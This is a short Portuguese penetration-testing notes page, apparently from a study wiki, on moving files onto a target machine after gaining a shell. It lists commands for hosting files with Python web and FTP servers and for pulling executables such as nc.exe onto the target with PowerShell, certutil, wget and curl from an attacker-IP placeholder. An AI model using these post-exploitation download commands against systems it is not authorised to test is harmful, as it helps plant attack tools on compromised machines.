Transferência de arquivos

Quando conseguimos ganhar uma shell no alvo, algumas vezes vamos precisar transferir algum arquivo/programa para essa máquina. Existem alguns jeitos de fazer isso.

Web

Para subir um servidor web na nossa máquina para ser acessado no alvo.

python3 -m http.server 8080

Em ambiente windows podemos utilizar o powershell ou certutil.

powershell.exe wget http://<ip>/file.exe -OutFile file.exe
certutil.exe -urlcache -f http://<ip>/<arq> <arq.exe>

Ou

certutil -urlcache -split -f "http://<ip>/<arq>.exe" nc.exe

Em ambiente linux podemos utilizar o wget e curl.

wget http://<ip>/file.exe -O /tmp/file.exe
curl http://<ip>/file.exe -o file.exe

FTP

Podemos subir um servidor ftp usando o python para transferir arquivos, para isso precisamos instalar antes.

pip install pyftpdlib
python3 -m pyftpdlib -p 21 --write

Já na máquina alvo e com acesso a shell, iremos escrever um arquivo para conectar no ftp, caso a shell seja não interativa.

Agora, vamos utilizar o utilitário do ftp para ler o arquivo.

Com isso, nos autenticamos e conseguimos baixar o arquivo.

Last updated

Was this helpful?